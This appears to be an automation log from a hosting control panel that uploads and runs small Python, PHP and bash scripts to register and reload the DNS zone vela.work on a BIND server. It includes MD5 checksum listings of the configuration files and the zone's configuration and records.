MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 80c0d29080b52de68f9f3d9d4527e479
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= ab513385a3a5418b41ae2bbaab45d524
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:50:47: 

PUT: /tmp/pkp290646

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '9102cebf40552256181ade1b5794bce9'
ZONE_NAME = 'vela.work'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-14 11:50:47: 

chmod 755 /tmp/pkp290646; /tmp/pkp290646; rm /tmp/pkp290646

2026-03-14 11:50:51: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-14 11:50:51: 

PUT: /tmp/pkp462149

#!/bin/bash
rndc reload vela.work 2>&1


2026-03-14 11:50:51: 

chmod 755 /tmp/pkp462149; /tmp/pkp462149; rm /tmp/pkp462149

2026-03-14 11:50:51: 


zone reload up-to-date


2026-03-14 11:50:51: Establishing a connection
2026-03-14 11:50:51: 

PUT: /tmp/pkp609266

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:50:51: 

runuser -l bind -s /bin/bash -c '/tmp/pkp609266; rm /tmp/pkp609266'

2026-03-14 11:50:51: 
2026-03-14 11:50:51: 

PUT: /tmp/pkp912474

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf')
    show_file('/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:50:51: 

chmod 755 /tmp/pkp912474; /tmp/pkp912474; rm /tmp/pkp912474

2026-03-14 11:50:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf	206
# this is an automatically created file: manual changes will be overwritten.
zone "vela.work" IN {
  ##owner 0;
  type master;
  file "9102cebf40552256181ade1b5794bce9.txt";
    allow-update { none; };

};


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt	643
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
vela.work.               		 IN    SOA      	vela.work. hostmaster.vela.work. ( 134697809 14400 3600 14400 3600 )
vela.work.               		 IN    NS       	ns1.hostz.org.
vela.work.               		 IN    NS       	ns2.hostz.org.
@                         60	 IN    A        	94.177.9.99
@                        		 IN    MX       	10 mail.emessage.email.
*                        		 IN    A        	94.177.9.99
_acme-challenge           60	 IN    TXT      	"y19cgg0WcynaXrBtOYyrf0pnM8F-0NzalxHMQlmQwaM"
www.vela.work.            60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= 2447ee93bae25e108bcd66a6e5e99caf
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
